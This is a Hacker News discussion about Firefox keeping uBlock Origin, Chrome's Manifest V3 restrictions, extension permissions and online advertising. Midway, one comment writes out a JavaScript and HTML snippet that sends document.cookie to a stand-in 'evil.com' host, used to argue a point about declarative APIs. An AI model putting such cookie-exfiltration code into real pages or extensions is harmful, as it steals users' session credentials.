Firefox is now the last major browser that still supports uBlock Origin
pcworld.com
pcworld.com
They don't do it for every extension, but they do so for a wide selection of popular options.
> Recommended extensions differ from other extensions that are regularly reviewed by Firefox staff in that they are curated extensions that meet the highest standards of security, functionality and user experience. After receiving Recommended status, safety standards are maintained through automated checks, monitoring, and periodic technical reviews
https://support.mozilla.org/en-US/kb/recommended-extensions-...
I've always wished extensions had more granular permissions though (a la phones, but more so). I think automated ai security checks sound promising soon.
Firefox isn’t the security-first choice.
They don’t pretend to be.
So maybe more developers could do a all sites and manually select sites option?
¹BPC extension
They could save themselves the trouble if Firefox simply baked in its own ad-blocking, but since Google basically owns them, we all know that will never happen.
Ladybird browser is going to be awesome.
It's not black and white, and your inability to see the larger context is disturbing.
You could, by the same logic, criticize Mozilla for not serving you coffee which is certainly a "user-oriented policy" "baked-in" or rather "brewed-in". But we must be realistic about how far UOPs can be stretched, Mozilla is better than the rest, which includes large corps with far more money than them. If you can do better than Mozilla, I'm all ears.
Next, an ad-blocker needs continuous maintenance - someone started a good one long time ago and apparently loves to improve it and maintain the various lists it uses - why should Mozilla strain to compete with one of their best contributors? - that would be both rude and dumb, and they'd be wasting resources too. There's absolutely no upside to your proposition but you keep insisting.
One would hope that's one of the more useful things an LLM could assist with if not now, very soon. In the meantime, there's no reason they couldn't have uBlock kept as an extension but bundled by default like they've done with other functionality over the years. Wait, never mind. There's one rea$on why they wouldn't, and it's already been $tated.
And Mozilla did develop anti-fingerprinting tech, but they can't enable it by default because it breaks lots of websites and when a website doesn't work they're not going to appreciate Mozilla for protecting them, they're going to be pissed that it doesn't work.
Fortunately if projects like Ladybird gain enough momentum, websites might be forced to cater to it. Time will tell.
If you want to inherit all of Firefox's flaws, I suppose.
> and don't need to make a new one from scratch that'll never get past Cloudflare?
Considering Cloudflare is a sponsor of Ladybird, something tells me they're going to grant an exception for it.
People on here love to moan about Firefox because Mozilla did one thing at some point in the existence of the company they didn't like. But then just cede the Internet to Google and chromium clones because at some point when they were a crappy junior JS dev, Chrome had some better tooling over Firebug so they just got used to testing in one browser. Maybe they also like to remember how Firefox, a decade ago, couldn't handle 1000 tab sessions.
I hope Firefox keeps up the fight but HN loves to crap all over them for not being perfect.
Entirely possible that this is an issue specific to NixOS or my machine, but because of that issue I switched over to Brave.
I would like to go back to Firefox at some point. Maybe I’ll see if I can make a patch to fix video acceleration on NixOS.
I'm being tongue-in-cheek here because it seems most people just give up on safari/firefox if one thing doesn't work and go to some chromium-based browser as their default driver. That's sad.
I have never had chrome on windows 10 or 11; nor chromium.
For a year chase.com wouldn't allow me to login from Firefox. Dumb.
They will have to pry with significant force firefox with ublock origin from my old dusty finger bones... fuck the rest for selling us all out.
Even if it won't move the needle a bit, I can look at myself in the mirror in this specific regard and be content that I didnt bow my head like bland masses did and didnt work towards massive enshittification of our global society from now on.
Because thats what its all about, nothing less. With our choices, we shape future for our kids and grandkids. Shame on you, all you rich faangs who are directly helping this. Godwin's law is never too far in such cases and history wont be kind to you, no reason to be
I would rather spend 100% of my time in Firefox but that’s not doable right now.
For starters, they notoriously make configuration a difficult and shifting game of whac-o-mole to do simple things such as disabling the AI that nobody asked for:
https://news.ycombinator.com/item?id=45926779
It's also become more unstable in recent years, and I'm not even talking about 1000 tab sessions. It will crash with only a handful of tabs fairly regularly on linux.
For more flaws, look at everything LibreWolf, Waterfox, etc do to make up for them.
Look how few people use it. Do you still want to claim that firefox is perfect? Because if not I suggest to read up on the last 15 years why people stopped using Firefox. Not all of which has to do with Google.
> I hope Firefox keeps up the fight but HN loves to crap all over them for not being perfect.
This shows a total lack of understanding. You assume that Firefox is perfect. It is not. It is a pretty bad browser. There is a reason why adChromium won. I wish it would be different but it is not.
It's not modular, for example. You can't just use the Gecko engine in your project. To do so, you have to deal and hack through the whole codebase of the Firefox browser.
Under some definitions, the browser IS the core. You are bound at a fundamental level to your parent if you build on someone else's foundations. Firefox is probably a great one to do it but worth knowing that someone else owns the land upon which you stand.
Regardless, I don't want baked-in Firefox adblocking in part because I don't trust Mozilla with that task either. They'd absolutely end up allowing their own "acceptable" telemetry and ads. Even if they didn't, it would be unlikely to ever be as effective as Ublock Origin. Much like how Chromium browsers' built-in adblocking is barely anything in comparison, even on Manifest V2.
And yet, for now, Firefox and Mozilla is by far the lesser evil. I like a few of the Chromium browsers well enough, but they are ultimately at the mercy of Google.
I hope Ladybird does well, too.
> Regardless, I don't want baked-in Firefox adblocking in part because I don't trust Mozilla with that task either.
This is in a thread about how we should be happy that FF is vetting code for us. Do we trust them or don't we?
> And yet, for now, Firefox and Mozilla is by far the lesser evil.
I'm instinctively tempted to agree, but the difference is so negligible at this point that the only sign I would is the fact I'm still using FF due to momentum (as well as Ladybird not being ready from prime time yet).
FF/Mozilla has proven itself to be controlled opposition, so I'm not very interested in games of "lesser-of-two-evils" abuser logic that has infected politics and many other spheres in a race to the bottom.
GP trusts them for reviewing external extension code, and ensure that it does not contain malware, but not for not inserting exception to their own telemetry if they wrote the code themselves.
Or, more likely, they feel that having two independent actors collaborating on the extension (one by writing and the other by reviewing) yields a more trustworthy outcome than either actor on their own.
Mozilla have given us plenty of reasons to not trust them, which makes it hilarious that anybody would think it's noteworthy they're reviewing the code of Raymond Hill of all people.
> Raymond Hill of all people.
As good as he's been, he's still just one person with a hobby project. Yes please review it!
And what if he gets hacked?
> This is in a thread about how we should be happy that FF is vetting code for us. Do we trust them or don't we?
Are you joking? You brought the claim to the table, and now that people see the flaws in it you deny them talking about it? You're some mental gymnast..
Ladybird has corporate sponsors too. Sponsorship is influence. Obviously, the more sponsorships you have the less influence an individual one have but it is worth knowing.
One would hope that a project like Ladybird (which is motivated to compete with a product which was ruined by Google's sponsorship) would choose those terms carefully.
https://web.archive.org/web/20070817224229/http://whyfirefox...
Snapchat tries to block Firefox, but all you have to do is fuzz the agent to say you're Chrome and then you're in with no issues.
Ironically, if I fake instead a chromium to be on Windows (UA and Sec-CH headers), I am allowed most of the time even though my TCP fingerprint must mismatch then.
It's annoying to see what the normal web has become. Can't even read news anymore.
Ironically, all these bot defenses make it easier for bots to scrape their website, but make it harder for actual users to use them.
The only bot defense web app firewall that still works with Firefox seems to be Anubis. Pretty much all others autoflag Linux users as bot users, which feels insane if you think about less web developers must know about how botnets work.
I get this with Chrome on MacOS.
I'm becoming more convinced that Cloudflare is the bane of the internet.
If you really mean reCAPTCHA (the one with a “select all squares that have X” kinda challenges), then Cloudflare hasn’t used that for quite a while now. archive.today uses a Cloudflare-looking (old style) page with a reCAPTCHA (and they do serve it quite often), but I don’t think I’ve seen other sites do that.
Repeated problems with cf and similar like this seem to be more common for users behind CGNAT (most mobile users for example). Presumably all the other hosts sharing the same final outgoing address(es), some of which will be running bots either deliberately or because they've been infiltrated by malware, confuse the heuristics that decide how often checks should be made.
Firefox with Gecko is a different engine entirely and that sometimes causes compatibility issues or different behaviour, that websites have to account for.
Pretty sure that's not true. I don't see any YT adverts when using Brave, and I don't have any extensions installed.
"From what I know" is epistemologically equivalent to "For me".
That's how IE 6 was killed.
Also FE devs using all new Chrome shinny APIs, and their Electron junk are also to blame, and they aren't going to throw their toys away.
What killed it was IE6 not supporting TLS1.0 out of the box or TLS1.1+ at all, and that started to make them fail external audits. After years of telling them IE6 was holding us back implementing best-practise security on their instances of our apps¹ and being ignored because doing anything about it their side was too much hassle, external auditors started refusing to give them relevant certificates & such because of their systems not being up to best practise (or even good practise by that point!) and suddenly they made the effort to no longer have anyone in their orgs using IE6.
--------
[0] source: I was working on software serving the banking industry (customer facing & investment sides, not trading) around that time and years either side
[1] Even having annual conversations like:
! The pen test results say you should disable anything below TLS1.0 (and later 1.1), and you haven't. Please do.
? Are you sure? We'd *really* like to, as we've repeatedly mentioned, but that will block your IE6 users.
! Yes! You must follow the recommendations!
? Excellent. Done.
[a short time passes]
! Your application is broken for some of our users!
? Yep. They are using IE6 without TLS enabled.
? Either you need to upgrade their configurations or tell us, in writing please, to break from best practise and reenable the older protocols.
[another short time later]
! Please reenable the older protocols.Unless it's all fud in which case I shall archive this under headcanon.
Some management types might have even seen YouTube potentially blocking IE6 users as an advantage for keeping with IE6 to save bandwidth on their creaking external network links!
Which in practice means "switch to using a Firefox extension which fakes looking like Chrome, and just to selected shitty sites like ours".
The Chrome user agent starts with Mozilla/5.0, ends with Safari, claims to be like Gecko, based on KHTML, and somewhere in there is the string Chrome.
That was done exactly because people were trying to gate which browsers could or couldn't see their page by name, instead of by missing functionality.
The web is becoming a monopoly anyway... a contradiction to what web once meant.
Non-technical people do follow recommendations like installing an extension to help with a problem. Especially if they see the same recommendation from multiple sources, and testimonials as to its efficacy.
So, most sites work, but are never tested on FF, because there is no point, client won't pay for it.
Yes, Firefox could do everything, but then it'd turn back into Mozilla. The whole point of the extensions framework is to allow modular extensibility. And it's much easier to vet for malware than to code afresh and maintain.
What stuns me is that most people still use browsers that cannot block ads, seem genuinely annoyed by ads, but don't want to even try switching to a browser that will easily block those ads. It's amazing how much crap people are willing to wade through when the alternative is trying something new.
No it's not.
> Yes, Firefox could do everything, but then it'd turn back into Mozilla. The whole point of the extensions framework is to allow modular extensibility. And it's much easier to vet for malware than to code afresh and maintain.
No, quite the opposite. FF has a history of adopting extensions as baked-in functionality if they prove useful/popular enough. There are tons of examples of this from the past for various features, which is great.
But that fact makes it even more absurd that they refuse to do the same for what is likely their most popular extension of all time: uBlock Origin
Edit: actually, it seems the underlying functionality was built by Mozilla themselves, just not exposed in the UI yet: https://news.ycombinator.com/item?id=49309020
It's been 20+ years, nobody cares about that anymore.
What I am surprised about is that none of the browsers or forks have created a specialist plugin API for adblocking and maybe other filtering. Provide what is needed and only that (keeping the surface tiny), and then evolve the general purpose API in the way they need. I don't think we need V2 of the API any more, except for keeping this one absolutely critical plugin working, do we?
Google has been trying to kill them since they moved the Chrome team into the same building as the now defunct SF office.
(Apparently they offered people a lot of money? There are some words I could use to describe people who do things they think are unethical for cash I'll leave unsaid.)
If Firefox included it by default then it would remove a layer of deniability.
https://addons.mozilla.org/en-US/firefox/search/?promoted=re...
Some quite informative discussion on Firefox subreddit when I discovered and posted the above list there a few months ago.
https://www.reddit.com/r/firefox/comments/1pyvx2v/complete_a...
The Recommended Extensions program description: https://support.mozilla.org/en-US/kb/recommended-extensions-...
> Violentmonkey - Rating 4.7 (793 reviews) - 164,622 Users
On Google Web Store, it's 11,000,000 users VS 900,000 users.
Their popularity seems different by a magnitude, hardly surprising Firefox/Mozilla would chose to focus on one above the other.
I could be wrong, however.
[1]: https://git.synz.io/Synzvato/decentraleyes/-/tree/master/res...
1. pass paywalls clean.
2. Social Fixer
I will say however, it works remarkably well. I haven't seen a paywall in years!
That law doesn't apply to many HN readers
Or, just pay for journalism since it’s not free to do.
Yes, it kinda gives more control to the platform, but so far, iOS extensions that use this API worked surprisingly well for me
Please, correct me if I am wrong and uBclock can already work in this restricted mode
And the last thing, if people really want to give someone a full page content access, they surely should be able to do that, so kudos to Mozilla
[1] https://developer.apple.com/documentation/safariservices/cre...
- uBlock Origin works best on Firefox: https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-b...
- uBlock Origin Lite FAQ: https://github.com/uBlockOrigin/uBOL-home/wiki/Frequently-as...
For example, ublock origin is able to patch out anti-adblock scripts that Safari content blockers cannot. Try tvtropes for an example. Works fine with firefox and ublock origin, displays a “allow ads of subscribe” instead of the content on safari.
Maybe this works for some extensions but an ad blocker has to be maximally dynamic to work.
Now we're back to needing an actual extension system that does what extensions were supposed to do in the first place.
Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.
It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should be literally built into the browser instead of being a mere extension. Only the conflicts of interest inherent in an ad company maintaining an ad blocker prevent that.
Furthermore, malicious extension can read the data from the DOM, from forms (for example, password or credit card fields), and in some cases, from JS variables. They can insert fake information into the page. So preventing extensions from reading network data still leaves a lot of options for a malicious extension.
uBlock Origin via declarative blocks is almost as powerful as the original. While I would trust gorhill with almost unfettered control over my browser, I don't trust EVERY extension owner (no do I trust uBlock Origin in perpetuity).
A funny argument to make because the thing that would make such a measure ridiculous as you rightly point out, is exactly what already makes the Manifest changes ridiculous in the first instance. They were making a rhetorical point and you elaborated on their point for them as if doing so expressed a disagreement.
Are you trying to say that Mozilla/Firefox is engaging in the same data harvesting, usage, and dissemination that Google is?
If you don't like what a browser is doing, then move to another one? You're acting like you have spent a tonne of money on buying Chrome. Even if that was the case, it's not a clear case of an anti-user behaviour. There is a good reason to deprecate the webRequest API, and we'll see more browsers move towards that in the future (Safari has had declarative blocking for many years now, I believe).
>preventing modifications (and thus also repairs) is anti-competitive
There is nothing stopping someone from forking a manifest v2 version and maintaining it. I'd argue this can't be compared to any company actually doing anti-competitive things (e.g. tractor company, printers, ice cream machine companies, etc.)
An adblocker, by its nature, needs to access *. But Return YouTube Dislike could statically specify that it will only run on youtube.com, and that's fine.
But the option to enable access to * is essential.
Well that's what is in contention. Does everything claiming to be an adblocker really need access to *? Is Adblocker5++ (totally not malware) entitled to as much access as uBlock Origin? You can declare upfront all the URLs you don't want accessed (which on top of security gives a substantial performance boost), and who's to say someone won't figure out a better way of working within these constraints?
"Please stop looking at all network requests, especially when you don't need to."
doesn't result in action... while:
"You can no longer look at all network requests" requires extension makers to update to the new paradigm.
It's not "please stop looking at network requests", it's "ask the user for informed consent to look at network requests". Make it a big scary red warning if you want to. Definitely don't auto-grant it to existing extensions.
There are many options that don't involve removing functionality. It's like when Google removed SMS and clipboard permissions because they used to be too broad. People were pissed, a bunch of apps were killed, Google's walled garden got reinforced...
Scare prompt fatigue is real. If you're constantly blasting users with "XXX wants to do Y" which sounds scary, you're training them to just accept without thinking.
You fix an insecure implementation by replacing it with a secure implementation, not removing the feature completely.
Why are you installing random extensions?
What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.
If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?
Power users who care about this don't need a GUI - a text file config in any format will do. Especially in this era of LLM assistance.
Not nearly every user will get it right, so extensions will probably still have to be monitored for malware for the foreseeable future, but it gives many users at least a chance at privilege minimization.
To be honest, to me it sounds like you don't want browser extensions then.
To me, directly messing with web page data and browser behaviour is the whole point of a browser extension - what else is a browser extension for?
No thanks. They should have to declare to the browser what it is they want done instead.
I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.
The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.
I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
1. https://old.reddit.com/r/operabrowser/comments/3jxud3/exoper...
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
}); <body onLoad="http.GET('http://evil.com/"+document.cookie')">https://en.wikipedia.org/wiki/Declaration_(computer_programm...:
> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization
https://en.wikipedia.org/wiki/Statement_(computer_science):
> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out
Here's what the comment you're responding to said:
> They should have to declare to the browser what it is they want done instead.
Arguably it's pretty clear they meant declare in the first sense.
The argument has nothing at all to do with declaring permissions in a manifest.
Sounds like some kind of Stockholm syndrome. Years ago, it was standard practice for software to be designed so that users could grant permissions to access invasive methods or functions.
Google relies on users' personal data (ads), which is why they introduced a unique ID to their Chrome browser (to track).
This is so funny to me. Coming from a Netscape Navigator world, when extensions first came out, they were supposed to allow the user to add functionality to websites.
Why would someone install "random extensions" that they dont trust. And also, what would extensions do if not read and write data to websites? .
Sign of the times I guess.
Same reason why people download random stuff and run it with administrator permissions on Windows.
An extension that you trust today can be sold to an unscrupulous third-party tomorrow. That has happened many many times and will continue to.
"Somehow, when people get into the internet, their IQ decreases like 50 points. Like, if a guy knocked on your house door and offered you to give you a million dollars if you just gave him a thousand now, you would tell him to F. off. But somehow on the internet people thing it's right"
Same with these apps, someone comes and tells you to let him install this great water appliance for your backyard. You let him come in. But somehow in the internet, you also give him the key so that he can come in again anytime he wants... he may sell the key, lose the key, do something malicious later,etc. But due to ignorance, people dont grasp what they are doing in the digital world. People lack the necessary mental models.
Yes, and I have actually started virtualizing everything inside my computer because of that belief. I don't want random software touching my trusted host.
"Random software" is currently defined as anything outside the official repositories of my Linux distribution of choice. I don't want to share a home directory with such things. I don't want to share a user and its permissions, I don't even want to share a kernel with them.
In fact, it is possible for people to be held to good conduct without being bound into a single hierarchy, and it should be possible for software to be held to good conduct without giving such power to single monopolists. But it's not in Google's interests to build such mechanisms, any more than it was in the interests of the feudal overlords to look for alternatives to their rule.
The fact someone gave developers a turing complete language inside the browser where random code is automatically downloaded and executed is a major reason why we even have uBlock Origin in the first place. The vast majority of developers heavily abuse this privilege and cannot be trusted, and that is why we block them with extreme prejudice.
My dream was to have a "custom HTTP client" for every website. Instead of one browser for all sites, I write "adapters" for them that scrape the data into my own schemas. Maintaining this was far too much work back then, but now that I've got AI... I think I might try it.
Do you mean the rules like
*##+js(acis, document.oncontextmenu)
>reverse engineering websites and directly using all the internal APIs their own javascripts consume.
Interesting. By userscript or some other way? I've run into a number of situations where I either can't find a pointer to the internal js, or if I do find one, the browser or something ends up preventing me from accessing or modifying internal state with some sort of permission error. The latter might just be React though.
I'd be very interested in looking, if you have open sourced any of this.
Agreed. And you would think most paranoid HN types would too.
> It's just that uBlock Origin is so insanely useful, important and trusted
Maybe I'm foggy on the history. But isn't this like Fork #4 or #5 of some previous AdBlock extension?
Seems like the only business model for this type of extension is "selling out" for certain ads. And then the cycle repeats and forum posters tell you to install qBlock Omega or whatever. Maybe Mozilla doesn't want to get in the middle of this?
IIRC it was written from scratch. It was called uBlock before, then a co-maintainer tried to pull some shit, and the original author had to fork it with a new name (I don’t remember the details, it’s been ages since then).
No selling out yet. The author also explicitly says they don’t accept donations. I don’t think he’s looking for a business model. But if that changes – yeah, the fork button is right there, so I don’t see a big problem here.
The right thing is to simply bypass all of that. The fact is uBlock Origin should be literallly built into the browser like the good old popup blockers once were.
If only we had a browser that was independent of ad money.
I also don't want "random" programs accessing my home folder. That would be terrible! Who knows what programs that could be! I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily. Same for extensions.
The goal here isn't really to protect me from extensions. Extensions don't do anything on their own, they just sit there and wait for me to install them. So the goal is apparently to protect me from me (installing an extension), which really is to say protect their business (ads) from me (blocking them).
> I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily.
I don't. My standard operating practice is to virtualize them.
My security posture is considerably more lax towards free and open source software, for obvious reasons, and even then this trust only extends to the software in my Linux distribution's repositories. Stuff coming from PyPI, npm, cargo, ruby gems, and other such "developer centric" repositories get the full virtualization treatment. If it's easy for randoms to publish packages, then it's equally easy for malware to make it in.
I have a base system image that gets forked off into delta qcow2 images for every project I'm working on or whatever ephemeral execution context I need.
I started a side project to build software just to manage those VMs. I'm daily driving this thing even though it's my first "vibecoded" project, it's just way too useful and has saved me quite a few times from accidents.
https://github.com/matheusmoreira/virtdev
The firewall works but it's pretty clunky. I'm working on a custom Rust network stack to replace it.
You'd probably prefer something that isn't literally made by one guy and his AIs though. Docker sandboxes seem to be a good solution that also employs virtualization.
https://news.ycombinator.com/item?id=49239751
Before I made all this, I used to use firejail.
But you can't lock down everyone else's general-purpose computers just because you are more careful than the average. You're supporting the big corporations in the war against general-purpose computing here.
I was under the impression that manifest v3 still allowed extensions to read anything, just not modify. Is that not the case? (Random link because this is hard to search for: https://news.ycombinator.com/item?id=38303446 )
Don't kid yourself, even with mv3 if you install a rogue extension it's going to have access to a lot more data than you would be comfortable sharing to.
What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.
If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?
Clearly “random” was used as a means of saying “any”, to describe extensions the author hasn’t thought of. That will be obvious to anyone arguing in good faith and steel manning the argument.
They probably have strong implicit pressure not to.
Orion does this. It's still a little too rough around the edges to recommend as a daily driver though.
I don't want that! I want to be able to install any extension whatsoever (as we still can, more or less, install programs). And if I'm clueless enough to install "random" extensions that'll harm me, then shame on me! How often has it happened for the whole existence of Manifest V2 anyway?
Maybe we could have tolerated a well-hidden, well-protected "advanced" flag to open that possibility. But removing Manifest V2 altogether is unforgivable.
Also, security is a very very very weak argument, as many ads are much more dangerous and toxic than any popular extension will ever be.
I also want my browser to prevent random third-party javascript from doing the same. And I care more about that one, because as a user I don't have control over said third-party javascript while I do have control over the extensions I'm using. The browser is supposed to be a user agent, not act as an extension of the website owner.
If you look at the threat vectors for the revenue of a company like Google, extensions that aren't limited by the browser are pretty much number one.
This should tell you everything you need about the matter.
Google has no shortage of options for serving up ads that can't be blocked by normal ad blockers across all their properties (youtube, search, etc.). They in-line the ads these days! And if they really cared about the fraction of a fraction of a percent of people that even install any kind of adblocker, they could make the served ad content un-blockable by serving it the exact same as the content.
Fine, then don't install them?
It's like saying you want your TV to stop random people from watching it, but the obvious solution to that problem is to not invite random people into your living room.
Aaaand that's why I'm using Vivaldi over here (which has a built-in adblocker).
More seriously: if you don't want X to do Y, the solution is to not give X the permission Y. The platform overlord removing the premission Y completely is a terrible solution.
If they are hidden for you, it's because you, the user, hid them or enabled the overflow extension menu.
I see this repeated over and over and yet uBlock Origin Lite still seems to block almost all ads. I'm not saying I wouldn't prefer the non-lite version. But, given I basically still don't see ads it's kind of hard to argue Google destroyed the APIs so that they're useless
In practice to me these are non-issues. With MV2 uBO you basically already grant it maximum permissions since it’s all or nothing with MV2. So giving full permissions with MV3 uBOL is no different. Which eliminates the cosmetic filtering and script injection limitations.
The rule limit can maybe be an issue, but I’ve never run into it unless I literally go hog wild and overboard on filter lists.
“Limited dynamic filtering capabilities” is more abstract to me at least and I can’t say what’s missing here.
In practice though ultimately I notice no difference between Lite and the original.
The Lite version also relies solely on filter lists that require you to update the extension itself while the MV2 version can do so dynamically. Additionally, it lacks CNAME Uncloaking which I imagine will become much more commonplace soon enough which will make it impossible to block those ads.
The issue is that adblocking doesn't work with it, so an addition, or workaround should be made, but when Google has the amount of influence they have, that didn't happen.
The upshut is that people hate ads and like free stuff, so there is now a good selling point for Firefox. Hell some of us switched to Firefox because it blocked popup ads and had tabs, back in the day.
Except this is objectively not true…
uBlock Origin Lite is nearly as good as uBO and blocks nearly everything except for mostly Twitch ads.
Manifest v3 is a big security upgrade and effectively closes off the permanent RCE pathway that v2 allowed.
If that would have been the case, extensions wouldn’t exist.
Extension are a way to make the browser do what the browser manufacturer didn’t think or care about.
That's a bit hyperbolic. The areas of the internet I frequent do not have egregious ads (for example, this page). Areas where I really would like good ad-blocking (youtube) are often not covered by these ad blockers. Thankfully Youtube Premium isn't too expensive and solves that issue.
Maybe it's better these days but I always found browser extensions (including uBlock) had a pretty big performance hit, so I've always shied away from them (with the exception of a password manager).
uBlock Origin works perfectly fine to block YouTube ads.
> I always found browser extensions (including uBlock) had a pretty big performance hit
In various places (e.g. the wiki [1]) you can find benchmarks showing that webpages load faster, rather than slower.
[1]: https://github.com/gorhill/uBlock/wiki/Various-videos-showin...
True, but some of us refuse to give that company money on principle. The minute I can't watch YouTube without ads is the minute I stop watching YouTube. (The creators I follow make way more money off me on Patreon than Google would ever pay them, anyway.)
> I always found browser extensions (including uBlock) had a pretty big performance hit
I always found that not using uBO was a pretty big performance hit. :)
Immediately turned it off.
"it maxed my CPU at 100% for so long that I paused and had to figure out what was spiking my computer"
uBO Lite blocks ads on YouTube just as well as uBO did.
> Can't understand why they put up with it
To see which (rare) sites don’t put up a million ads and actually care about the reading experience.
A lot of the top-listed sites on HN are small blogs without ads (or in the case of danluu.com or lwn.net - without almost any formatting).
daringfireball.net is notable for actually having small, non-intrusive ads that I wouldn’t ever feel the need to block (unless you consider the entire site an ad for Apple but that’s a seperate concern).
> do they just think that it's part and parcel of the internet to have every page look like a slot machine from hell?
It is integral to the business models of the sites putting up those ads. And if those sites don’t make money then they’ll also be unable to pay writers. Much like herd immunity or financial speculation there will always be “somebody else” to watch the ads and essentially subsidize the ad-blocking audience, but I’d rather not be one of those people, I want my usage to be worth the while for the writers.
I am sometimes (rarely) willing to pay for an ad-free experience if I’m a repeat visitor. But more often I’d rather not visit at all if a site is too annoying. Another unfortunate situation is that even if you pay for a subscription, some sites have no ad-free option, such as the New York Times.
The big exception is YouTube, where I visit often, am bombarded with ads but also don’t want to pay Google.
Sometimes I make an exception. Sometimes.
Problem is, the ads I see when I disable my ad-blocker are uniformly terrible. Maybe this is because I'm in India, but I've never once seen an ad that wasn't outright disgusting, let alone useful.
I regularly see ads for: escort services, shady hair loss prevention pills, shady weight loss pills, astrology, TV shows and movies in languages I don't understand, gacha games, gambling apps, educational programs I can't sign up for, apps that are clearly malware. Once Instagram inexplicably showed me ads for expensive lab equipment only available in Germany for a whole week.
I would like to see ads for: local businesses around me, concerts and gigs in my city, new restaurants around me, indie fashion brands, TV shows and movies in languages I can understand. Basically, ads based on my interests and recent search terms.
The ad networks insist on delivering the worst kinds of ads to me, sometimes accompanied by imagery I would prefer not to see (e.g hair loss and dermatology ads). The websites I frequent and want to support don't get to choose what ads I'll see. All they can do is insert the ad-network's JavaScript into their pages and hope for the best.
Unless the networks can guarantee that I won't see something illegal, harmful, or plain disgusting when I enable their ads, I'll keep my ad-blocker on. I'm not going hurt myself for somebody else's business model.
Either way though, GP putting the responsibility on the viewer, at this point - given what we know about how the ad companies operate and use our data - is just absurd. We're not the ones who burned up any good will in this particular social contract.
I remember hearing about a lawsuit several years ago from several news organizations against an ad blocking company in which they described themselves as “ad companies that serve content” as opposed to “content companies that serve ads”.
The "get a bunch of people looking at something interesting and then show them ads" business model has under-pinned newspapers, television, and now websites like Facebook, Reddit and Instagram.
The content was always kind of a side show, an excuse to serve you ads.
An example of an actual content company would be something like a movie studio, where the product is the actual movie, or a publishing house, where the product is an actual book.
Newspapers, television channels and YouTube, however, are making their money selling your attention to advertisers. So I think calling them "ad companies that serve content" is actually correct.
People put up pages because they want to express themselves and/or receive views or engagement.
AI kills the first half, and trying to sell my attention kills the second half.
I don't stick around for it. I click into "the secret romantic lives of elephants", hit popup hell, then realise I really didn't care. I often can't even remember what I clicked on as soon as I hit back.
Brave: chrome://flags/#brave-extensions-manifest-v2 > brave://settings/extensions/v2 > Enable uBlock Origin (Brave-hosted, even better).
Helium comes with uBlock Origin pre-installed.
Edge even still has it https://microsoftedge.microsoft.com/addons/detail/ublock-ori...
And I'm sure others ...I personally only use/test Brave, Brave Origin, Helium and Firefox.
and simply dont use their homepage as your new tab page
https://support.brave.app/hc/en-us/articles/38305898674957-H...
Brave is the only one that might be considered a valid point. However, because of Chromium dropping support they've had to implement a custom bypass to support Manifest v2 and they are also hosting a version of uBlock Origin for Chromium on their own servers.
It's really questionable how long this state of affairs can go on for. Brave has said they will support it "as long as they are able" but Google could easily just remove the `webRequest` API from Chromium or the engineering burden to keep it alive might just get to be too much
Unfortunately, I think it has an expiration date on any Chromium-based browser.
That's what gemini:// is for.
I’ve gone weeks using no other browser than Dillo. Usually also disable CSS for most sites.
Built in custom CSS for all sites is also a treat.
It's not really about advertising as much as it is about "bullshit" nowadays.
Why? Is it because they don't know about it? Or they won't go to the trouble of using any browser that isn't the one provided by default by the OS?
I'm not sure. I just don't get it.
Firefox on mobile is not good, tried it many times. I also don't trust Firefox Mobile security as much as I trust Brave/Chromium on Android.
It's a cynical view, but I'm confident that it has a great deal of truth.
Now the performance still hasn’t caught up to Chrome but it has improved, and uBlock Origin Lite does a decent job at a baseline level of blocking for most people.
People say that Firefox doesnt display some pages properly, but I am yet to see one and nobody has ever managed to show me a page that works in Chrome but breaks in Firefox.
Chrome is a glitchy mess compared to Firefox, and Firefox still has Manifest v2 and fully working uBlock. Its a no brainer for me, back to the orange fox I go.
It's really that simple. Marketing realism wins over technical excellence every single time.
Do you know why Valve invested so much into Linux? It's because Microsoft threatened to blacklist Steam from Windows unless they gave Microsoft a 30% cut of all sales. Why would Microsoft do that? Because they can, and it makes money on average (failed this time in particular though). Capitalism is a dog-eat-dog world.
That would never fly with consumers, Microsoft are big but not that big.
You seem to not really know much about the subject so I will stop debating with you here.
These big tech companies are well acquainted with managing consumer backlash for unpopular changes.
It is so annoying to see this idiotic mantra being repeated every single time a thread like this pops up. It's simply not true. There is no conspiracy, people aren't being manipulated by Big Tech to like Chromium-based browsers more. Those browsers are simply better and that's it. That's really all there is to it.
It's so annoying whenever you say chrome wins because it's preinstalled someone makes a stupid comment about how it's not a big tech conspiracy. Did I say it was a big tech conspiracy?
Never happened.
> Or they won't go to the trouble
Some people don't even ask why the thing on the ceiling is beeping.
Chrome isn't the default on Windows or Mac, but it's far more popular than Edge or Safari.
I recommend FF whenever the topic of ads comes up and hope that word of mouth with eventually do its thing. Most people don't know about it in my experience.
> they just don’t know how bad Chrome is (for the internet)
I agree on this. Every time I’ve brought this up on HN I get a lot of push back from people arguing that Chrome is pushing the web forward and the other browsers are holding it back. I think this is a very short-sighted view.
I always tell people firefox is amazing because it really is. It has cool features, it looks cool, its fast, the company behind it is awesome.
2. Nobody tests on Firefox anymore, so random sites can break.
There're some features unique to Firefox which I miss, but I like being on the be bleeding edge of tech.
Firefox has been getting noticeably better recently, so maybe I'll get back to it. If Mozilla changes its stance on local fs access and stuff, it'll be a strong signal.
